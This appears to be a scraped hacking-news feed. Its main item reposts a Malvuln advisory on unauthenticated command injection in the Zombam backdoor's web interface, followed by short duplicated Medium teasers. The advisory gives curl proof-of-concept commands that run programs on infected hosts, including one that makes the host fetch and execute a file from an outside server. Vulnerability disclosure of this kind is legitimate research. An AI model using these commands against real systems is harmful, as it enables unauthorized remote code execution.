Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Zombam.l Code Execution
https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Backdoor.Win32.Zombam.l malware suffers from a code execution vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.Zombam.l Code Execution
https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Backdoor.Win32.Zombam.l malware suffers from a code execution vulnerability.
MD5 |
d8165a57870272aa9039bd9a43a2f5ebDownload
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zombam.l
Vulnerability: Unauthenticated URL Command Injection
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web UI for basic remote administration capability. The RAT has option to kill processes by clicking a link E.g. href="/kill&smss.exe&" this would terminate the smss.exe process. By changing "kill" to exec "exec&<command-to-run" you can start arbitrary processes. Crafting a successful injection requires padding an extra character to the end of the executable extension you want to call, otherwise it gets truncated and will fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following message: "error! calc.ex cannot be executed". However, padding the extra character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee will successfully process and we will get the response "calc.exe executed".
welcome 2 HTTP_RAT infected computer }]
menu [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]
Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0277
Disclosure: 07/03/2021
Exploit/PoC:
Opens the default web-browser on the infected host to download the file "DOOM.exe" from the server.
CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee
HTTP Response:
http://hyp3rlinx.altervista.org/DOOM.exe executed
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Bug bounty methodology V4.0 — Demonstrated
https://thexssrat.medium.com/bug-bounty-methodology-v4-0-demonstrated-8e9cb6ed1b12?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://thexssrat.medium.com/bug-bounty-methodology-v4-0-demonstrated-8e9cb6ed1b12?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Bug bounty methodology V4.0 — Demonstrated
A practical demonstration of my bug bounty methodology
A practical demonstration of my bug bounty methodologyContinue reading on Medium » (https://thexssrat.medium.com/bug-bounty-methodology-v4-0-demonstrated-8e9cb6ed1b12?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Bug bounty methodology V4.0 — Demonstrated
A practical demonstration of my bug bounty methodology
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Understand Deep Packet Inspection
https://cdn-images-1.medium.com/max/1288/0*R6HtCr-Bne7BViPh.png
Hello Folks 👋,
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Understand Deep Packet Inspection
https://cdn-images-1.medium.com/max/1288/0*R6HtCr-Bne7BViPh.png
Hello Folks 👋,
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Understand Deep Packet Inspection🐱👤
Hello Folks 👋,
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Pro-Trump Social Media App Hacked on Launch Day as Half Million Sign Up
https://cdn-images-1.medium.com/max/895/1*GFC-DBsCH85-0ma-gun3Lw.jpeg
Gettr, a Twitter-style platform with posts and trending topics, has advertised itself on the Google and Apple app stores as “a non-bias…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Pro-Trump Social Media App Hacked on Launch Day as Half Million Sign Up
https://cdn-images-1.medium.com/max/895/1*GFC-DBsCH85-0ma-gun3Lw.jpeg
Gettr, a Twitter-style platform with posts and trending topics, has advertised itself on the Google and Apple app stores as “a non-bias…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Pro-Trump Social Media App Hacked on Launch Day as Half Million Sign Up
Gettr, a Twitter-style platform with posts and trending topics, has advertised itself on the Google and Apple app stores as “a non-bias…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Getting back into Security with TryHackMe.
https://cdn-images-1.medium.com/max/824/0*HvZtOV0c8-suw5JU.png
Before the Pandemic, I spent many evenings and weekends on my computer, deep in VMs, CTFs and training courses. But when the pandemic hit…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Getting back into Security with TryHackMe.
https://cdn-images-1.medium.com/max/824/0*HvZtOV0c8-suw5JU.png
Before the Pandemic, I spent many evenings and weekends on my computer, deep in VMs, CTFs and training courses. But when the pandemic hit…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Getting back into Security with TryHackMe.com
Before the Pandemic, I spent many evenings and weekends on my computer, deep in VMs, CTFs and training courses. But when the pandemic hit…